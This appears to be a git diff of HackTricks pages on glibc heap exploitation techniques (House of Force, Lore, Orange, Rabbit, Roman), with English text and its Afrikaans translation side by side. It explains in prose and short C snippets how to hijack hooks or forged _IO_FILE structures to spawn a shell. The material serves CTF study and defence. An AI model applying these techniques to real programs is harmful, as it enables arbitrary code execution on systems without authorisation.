- [https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
- There is a UAF allowing to reuse a chunk that was freed without clearing the pointer. Because there are some read methods, it's possible to leak a libc address writing a pointer to the free function in the GOT here and then calling the read function.
- Then, House of force was used (abusing the UAF) to overwrite the size of the left space with a -1, allocate a chunk big enough to get tot he free hook, and then allocate another chunk which will contain the free hook. Then, write in the hook the address of `system`, write in a chunk `"/bin/sh"` and finally free the chunk with that string content.
- Daar is 'n UAF wat toelaat om 'n chunk wat vrygestel is te hergebruik sonder om die pointer te skoon te maak. Omdat daar 'n paar leesmetodes is, is dit moontlik om 'n libc adres te lek deur 'n pointer na die vry funksie in die GOT hier te skryf en dan die lees funksie aan te roep.
- Dan is House of force gebruik (misbruik van die UAF) om die grootte van die oorblywende ruimte met 'n -1 oorgeskryf, 'n chunk groot genoeg toe te ken om by die vry haak te kom, en dan 'n ander chunk toe te ken wat die vry haak sal bevat. Skryf dan in die haak die adres van `system`, skryf in 'n chunk `"/bin/sh"` en vry die chunk met daardie stringinhoud.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,44 +1,44 @@
# House of Lore | Small bin Attack
# Huis van Lore | Klein bin Aanval
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
### Code
### Kode
- Check the one from [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- This isn't working
- Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected`
- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
- Kontroleer die een van [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- Dit werk nie
- Of: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Dit werk nie, selfs al probeer dit om sommige kontroles te omseil en kry die fout: `malloc(): unaligned tcache chunk detected`
- Hierdie voorbeeld werk steeds: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)&#x20;
### Goal
### Doel
- Insert a **fake small chunk in the small bin so then it's possible to allocate it**.\
Note that the small chunk added is the fake one the attacker creates and not a fake one in an arbitrary position.
- Voeg 'n **valse klein stuk in die klein bin in sodat dit moontlik is om dit toe te ken**.\
Let daarop dat die klein stuk wat bygevoeg word die valse een is wat die aanvaller skep en nie 'n valse een in 'n arbitrêre posisie nie.
### Requirements
### Vereistes
- Create 2 fake chunks and link them together and with the legit chunk in the small bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- Skep 2 valse stukke en koppel hulle aan mekaar en met die wettige stuk in die klein bin:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (jy moet 'n pointer in die vrygestelde klein bin stuk via 'n ander kwesbaarheid verander)
- `legit.bk` -> `fake0`
Then you will be able to allocate `fake0`.
Dan sal jy in staat wees om `fake0` toe te ken.
### Attack
### Aanval
- A small chunk (`legit`) is allocated, then another one is allocated to prevent consolidating with top chunk. Then, `legit` is freed (moving it to the unsorted bin list) and the a larger chunk is allocated, **moving `legit` it to the small bin.**
- An attacker generates a couple of fake small chunks, and makes the needed linking to bypass sanity checks:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
- `legit.bk` -> `fake0`
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
- 'n Klein stuk (`legit`) word toegeken, dan word 'n ander een toegeken om te voorkom dat dit saamgevoeg word met die boonste stuk. Dan word `legit` vrygestel (wat dit na die ongesorteerde bin lys beweeg) en 'n groter stuk word toegeken, **wat `legit` na die klein bin beweeg.**
- 'n Aanvaller genereer 'n paar valse klein stukke, en maak die nodige koppelings om die gesondheidskontroles te omseil:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
- `fake0.fd` -> `legit` (jy moet 'n pointer in die vrygestelde klein bin stuk via 'n ander kwesbaarheid verander)
- `legit.bk` -> `fake0`
- 'n Klein stuk word toegeken om legit te kry, wat **`fake0`** in die boonste lys van klein bins maak
- 'n Ander klein stuk word toegeken, wat `fake0` as 'n stuk kry, wat moontlik toelaat om pointers binne-in dit te lees/schryf.
## References
## Verwysings
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/)
- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore)

View File

@ -1,73 +1,73 @@
# House of Orange
# Huis van Oranje
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
### Code
### Kode
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
- Vind 'n voorbeeld in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
- Die eksploitasiemetode is reggestel in hierdie [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so dit werk nie meer nie (werk in voorheen as 2.26)
- Dieselfde voorbeeld **met meer kommentaar** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
### Goal
### Doel
- Abuse `malloc_printerr` function
- Misbruik `malloc_printerr` funksie
### Requirements
### Vereistes
- Overwrite the top chunk size
- Libc and heap leaks
- Oorskry die boonste stuk grootte
- Libc en heap lek
### Background
### Agtergrond
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Sommige nodige agtergrond uit die kommentaar van [**hierdie voorbeeld**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
Die ding is, in ouer weergawes van libc, wanneer die `malloc_printerr` funksie aangeroep is, sou dit **deur 'n lys van `_IO_FILE` strukture wat in `_IO_list_all` gestoor is, herhaal**, en werklik **'n** instruksie-aanwyser in daardie struktuur **uitvoer**.\
Hierdie aanval sal 'n **valse `_IO_FILE` struktuur** forgeer wat ons sal skryf na **`_IO_list_all`**, en veroorsaak dat `malloc_printerr` loop.\
Dan sal dit **uitvoer wat adres** ons in die **`_IO_FILE`** strukture se sprongtafel gestoor het, en ons sal kode-uitvoering kry.
### Attack
### Aanval
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
Die aanval begin deur daarin te slaag om die **boonste stuk** binne die **ongesorteerde bin** te kry. Dit word bereik deur `malloc` aan te roep met 'n grootte groter as die huidige boonste stuk grootte maar kleiner as **`mmp_.mmap_threshold`** (standaard is 128K), wat andersins `mmap` toewysing sou aktiveer. Wanneer die boonste stuk grootte gewysig word, is dit belangrik om te verseker dat die **boonste stuk + sy grootte** bladsy-gebalanseerd is en dat die **prev_inuse** bit van die boonste stuk altyd ingestel is.
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
Om die boonste stuk binne die ongesorteerde bin te kry, allokeer 'n stuk om die boonste stuk te skep, verander die boonste stuk grootte (met 'n oorgang in die toegewezen stuk) sodat **boonste stuk + grootte** bladsy-gebalanseerd is met die **prev_inuse** bit ingestel. Allokeer dan 'n stuk groter as die nuwe boonste stuk grootte. Let daarop dat `free` nooit aangeroep word om die boonste stuk in die ongesorteerde bin te kry.
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), its possible to leak libc addresses from it and get the address of **\_IO_list_all**.
Die ou boonste stuk is nou in die ongesorteerde bin. Aannemende dat ons data binne dit kan lees (miskien as gevolg van 'n kwesbaarheid wat ook die oorgang veroorsaak het), is dit moontlik om libc adresse daaruit te lek en die adres van **\_IO_list_all** te kry.
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
'n Ongesorteerde bin aanval word uitgevoer deur die oorgang te misbruik om `topChunk->bk->fwd = _IO_list_all - 0x10` te skryf. Wanneer 'n nuwe stuk toegeken word, sal die ou boonste stuk gesplit word, en 'n aanwyser na die ongesorteerde bin sal in **`_IO_list_all`** geskryf word.
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
Die volgende stap behels die verkleining van die grootte van die ou boonste stuk om in 'n klein bin te pas, spesifiek om sy grootte op **0x61** in te stel. Dit dien twee doele:
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
1. **Invoeging in Klein Bin 4**: Wanneer `malloc` deur die ongesorteerde bin skandeer en hierdie stuk sien, sal dit probeer om dit in klein bin 4 in te voeg weens sy klein grootte. Dit maak dat die stuk aan die kop van die klein bin 4 lys eindig, wat die ligging van die FD aanwyser van die stuk van **`_IO_list_all`** is, aangesien ons 'n naby adres in **`_IO_list_all`** geskryf het via die ongesorteerde bin aanval.
2. **Aktivering van 'n Malloc Kontrole**: Hierdie stuk grootte manipulasie sal veroorsaak dat `malloc` interne kontroles uitvoer. Wanneer dit die grootte van die valse vorentoe stuk kontroleer, wat nul sal wees, aktiveer dit 'n fout en roep `malloc_printerr` aan.
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
Die manipulasie van die klein bin sal jou in staat stel om die vorentoe aanwyser van die stuk te beheer. Die oorvleueling met **\_IO_list_all** word gebruik om 'n valse **\_IO_FILE** struktuur te forgeer. Die struktuur is sorgvuldig saamgestel om sleutelvelde soos `_IO_write_base` en `_IO_write_ptr` in te sluit wat op waardes ingestel is wat interne kontroles in libc slaag. Boonop word 'n sprongtafel binne die valse struktuur geskep, waar 'n instruksie-aanwyser op die adres ingestel word waar arbitrêre kode (bv. die `system` funksie) uitgevoer kan word.
To summarize the remaining part of the technique:
Om die oorblywende deel van die tegniek saam te vat:
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
- **Verklein die Ou Boonste Stuk**: Pas die grootte van die ou boonste stuk aan na **0x61** om dit in 'n klein bin te laat pas.
- **Stel die Valse `_IO_FILE` Struktuur Op**: Oorvleuel die ou boonste stuk met die valse **\_IO_FILE** struktuur en stel velde toepaslik in om die uitvoeringsvloei te kap.
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
Die volgende stap behels die forge van 'n valse **\_IO_FILE** struktuur wat oorvleuel met die ou boonste stuk wat tans in die ongesorteerde bin is. Die eerste bytes van hierdie struktuur word sorgvuldig saamgestel om 'n aanwyser na 'n opdrag (bv. "/bin/sh") in te sluit wat uitgevoer sal word.
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
Sleutelvelde in die valse **\_IO_FILE** struktuur, soos `_IO_write_base` en `_IO_write_ptr`, word op waardes ingestel wat interne kontroles in libc slaag. Boonop word 'n sprongtafel binne die valse struktuur geskep, waar 'n instruksie-aanwyser op die adres ingestel word waar arbitrêre kode uitgevoer kan word. Gewoonlik sou dit die adres van die `system` funksie of 'n ander funksie wees wat shell-opdragte kan uitvoer.
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
Die aanval kulmineer wanneer 'n oproep aan `malloc` die uitvoering van die kode deur die gemanipuleerde **\_IO_FILE** struktuur aktiveer. Dit stel effektief arbitrêre kode-uitvoering in staat, wat gewoonlik lei tot 'n shell wat geopen word of 'n ander kwaadwillige payload wat uitgevoer word.
**Summary of the Attack:**
**Samevatting van die Aanval:**
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
1. **Stel die boonste stuk op**: Allokeer 'n stuk en wysig die boonste stuk grootte.
2. **Dwing die boonste stuk in die ongesorteerde bin**: Allokeer 'n groter stuk.
3. **Lek libc adresse**: Gebruik die kwesbaarheid om uit die ongesorteerde bin te lees.
4. **Voer die ongesorteerde bin aanval uit**: Skryf na **\_IO_list_all** met behulp van 'n oorgang.
5. **Verklein die ou boonste stuk**: Pas sy grootte aan om in 'n klein bin te pas.
6. **Stel 'n valse \_IO_FILE struktuur op**: Forgeer 'n valse lêer struktuur om die uitvoeringsvloei te kap.
7. **Aktiveer kode-uitvoering**: Allokeer 'n stuk om die aanval uit te voer en arbitrêre kode te laat loop.
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
Hierdie benadering misbruik heap bestuur meganismes, libc inligting lek, en heap oorgange om kode-uitvoering te bereik sonder om direk `free` aan te roep. Deur die valse **\_IO_FILE** struktuur sorgvuldig te vervaardig en dit op die regte plek te plaas, kan die aanval die uitvoeringsvloei kap tydens standaard geheue toewysingsoperasies. Dit stel die uitvoering van arbitrêre kode in staat, wat moontlik lei tot 'n shell of ander kwaadwillige aktiwiteite.
## References
## Verwysings
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/)
- [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)

View File

@ -2,110 +2,92 @@
{{#include ../../banners/hacktricks-training.md}}
### Requirements
### Vereistes
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
1. **Vermogen om die fast bin fd pointer of grootte te verander**: Dit beteken jy kan die voorwaartse pointer van 'n stuk in die fastbin of sy grootte verander.
2. **Vermogen om `malloc_consolidate` te aktiveer**: Dit kan gedoen word deur 'n groot stuk toe te ken of die boonste stuk te kombineer, wat die heap dwing om stukke te konsolideer.
### Goals
### Doelwitte
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
1. **Skep oorvleuelende stukke**: Om een stuk oor te laat vlek met 'n ander, wat verdere heap manipulasies moontlik maak.
2. **Vals stukke forge**: Om die toewysingsprogram te mislei om 'n vals stuk as 'n wettige stuk te behandel tydens heap operasies.
## Steps of the attack
## Stappe van die aanval
### POC 1: Modify the size of a fast bin chunk
### POC 1: Verander die grootte van 'n fast bin stuk
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
- **Step 1: Allocate Chunks**
**Doel**: Skep 'n oorvleuelende stuk deur die grootte van 'n fastbin stuk te manipuleer.
- **Stap 1: Ken stukke toe**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
Ons allokeer twee stukke van 0x40 bytes elk. Hierdie stukke sal in die vinnige bin lys geplaas word sodra dit vrygestel word.
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
- **Step 2: Free Chunks**
- **Stap 2: Vrygestelde Stukke**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
Ons vry beide stukke, en voeg hulle by die fastbin lys.
We free both chunks, adding them to the fastbin list.
- **Step 3: Modify Chunk Size**
- **Stap 3: Wysig Stuk Grootte**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
Ons verander die grootte metadata van `chunk1` na 0xa1. Dit is 'n belangrike stap om die allokator te mislei tydens konsolidasie.
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
- **Step 4: Trigger `malloc_consolidate`**
- **Stap 4: Trigger `malloc_consolidate`**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Toewysing van 'n groot stuk aktiveer die `malloc_consolidate` funksie, wat klein stukke in die vinnige bin saamvoeg. Die gemanipuleerde grootte van `chunk1` veroorsaak dat dit oorvleuel met `chunk2`.
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
Na konsolidasie oorvleuel `chunk1` met `chunk2`, wat verdere uitbuiting moontlik maak.
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
### POC 2: Wysig die `fd` wysiger
### POC 2: Modify the `fd` pointer
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
- **Step 1: Allocate Chunks**
**Doel**: Skep 'n vals stuk deur die vinnige bin `fd` wysiger te manipuleer.
- **Stap 1: Toewys Stukke**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Verklaring**: Ons allokeer twee stukke, een kleiner en een groter, om die heap vir die valse stuk op te stel.
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
- **Step 2: Create fake chunk**
- **Stap 2: Skep valse stuk**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
Ons skryf vals chunk metadata in `chunk2` om kleiner chunks te simuleer.
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
- **Step 3: Free `chunk1`**
- **Stap 3: Vry `chunk1`**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Verklaring**: Ons maak `chunk1` vry, en voeg dit by die fastbin lys.
**Explanation**: We free `chunk1`, adding it to the fastbin list.
- **Step 4: Modify `fd` of `chunk1`**
- **Stap 4: Wysig `fd` van `chunk1`**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Verklaring**: Ons verander die vooraanwyser (`fd`) van `chunk1` om na ons valse chunk binne `chunk2` te wys.
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
- **Step 5: Trigger `malloc_consolidate`**
- **Stap 5: Trigger `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Toewysing van 'n groot stuk aktiveer weer `malloc_consolidate`, wat die vals stuk verwerk.
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
Die vals stuk word 'n deel van die fastbin lys, wat dit 'n legitieme stuk maak vir verdere uitbuiting.
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
### Samevatting
### Summary
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
Die **House of Rabbit** tegniek behels of die grootte van 'n fast bin stuk te verander om oorvleuelende stukke te skep of die `fd` wysser te manipuleer om vals stukke te skep. Dit stel aanvallers in staat om legitieme stukke in die heap te vervals, wat verskeie vorme van uitbuiting moontlik maak. Om hierdie stappe te verstaan en te oefen, sal jou heap uitbuitingsvaardighede verbeter.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,87 +2,82 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Dit was 'n baie interessante tegniek wat RCE sonder leaks via vals fastbins, die unsorted_bin aanval en relatiewe oorskrywings moontlik gemaak het. Dit is egter [**gepatch**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Code
### Kode
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
- Jy kan 'n voorbeeld vind in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
### Goal
### Doel
- RCE by abusing relative pointers
- RCE deur relatiewe punte te misbruik
### Requirements
### Vereistes
- Edit fastbin and unsorted bin pointers
- 12 bits of randomness must be brute forced (0.02% chance) of working
- Wysig fastbin en unsorted bin punte
- 12 bits van ewekansigheid moet gebruteforceer word (0.02% kans) om te werk
## Attack Steps
## Aanvalstappe
### Part 1: Fastbin Chunk points to \_\_malloc_hook
### Deel 1: Fastbin Chunk wys na \_\_malloc_hook
Create several chunks:
Skep verskeie chunks:
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
- `chunk2` (0x80, offset 0x70): For good alignment
- `fastbin_victim` (0x60, offset 0): UAF chunk wat later die heap pointer sal wys na die LibC waarde.
- `chunk2` (0x80, offset 0x70): Vir goeie uitlijning
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
- `relative_offset_heap` (0x60, offset 0x190): relatiewe offset op die 'main_arena_use' chunk
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
Dan `free(main_arena_use)` wat hierdie chunk in die onsorted lys sal plaas en 'n pointer na `main_arena + 0x68` in beide die `fd` en `bk` punte sal kry.
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
Then `relative_offset_heap` and `fastbin_victim` are freed.
Nou is dit 'n nuwe chunk `fake_libc_chunk(0x60)` toegeken omdat dit die punte na `main_arena + 0x68` in `fd` en `bk` sal bevat.
Dan word `relative_offset_heap` en `fastbin_victim` vrygestel.
```c
/*
Current heap layout:
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
0x0: fastbin_victim - size 0x70
0x70: alignment_filler - size 0x90
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
0x170: leftover_main - size 0x20
0x190: relative_offset_heap - size 0x70
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
bin layout:
fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
- &#x20;`fastbin_victim` het 'n `fd` wat na `relative_offset_heap` wys
- &#x20;`relative_offset_heap` is 'n offset van afstand vanaf `fake_libc_chunk`, wat 'n pointer na `main_arena + 0x68` bevat
- Deur net die laaste byte van `fastbin_victim.fd` te verander, is dit moontlik om `fastbin_victim points` na `main_arena + 0x68` te laat wys
- &#x20;`fastbin_victim` has a `fd` pointing to `relative_offset_heap`
- &#x20;`relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68`
- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68`
Vir die vorige aksies moet die aanvaller in staat wees om die fd pointer van `fastbin_victim` te verander.
For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`.
Dan is `main_arena + 0x68` nie so interessant nie, so laat ons dit verander sodat die pointer na **`__malloc_hook`** wys.
Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**.
Let daarop dat `__memalign_hook` gewoonlik begin met `0x7f` en nulles voor dit, dan is dit moontlik om dit as 'n waarde in die `0x70` fast bin te vervals. Omdat die laaste 4 bits van die adres **random** is, is daar `2^4=16` moontlikhede vir die waarde om te eindig waar ons belangstel. So 'n BF-aanval word hier uitgevoer sodat die chunk eindig soos: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works).
Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`**
(Vir meer inligting oor die res van die bytes, kyk die verduideliking in die [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ voorbeeld](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). As die BF nie werk nie, val die program net in duie (so begin weer totdat dit werk).
Dan word 2 mallocs uitgevoer om die 2 aanvanklike fast bin chunks te verwyder en 'n derde een word toegeken om 'n chunk in die **`__malloc_hook:`** te kry.
```c
malloc(0x60);
malloc(0x60);
uint8_t* malloc_hook_chunk = malloc(0x60);
```
### Deel 2: Unsorted_bin aanval
### Part 2: Unsorted_bin attack
For more info you can check:
Vir meer inligting kan jy kyk:
{{#ref}}
unsorted-bin-attack.md
{{#endref}}
But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`.
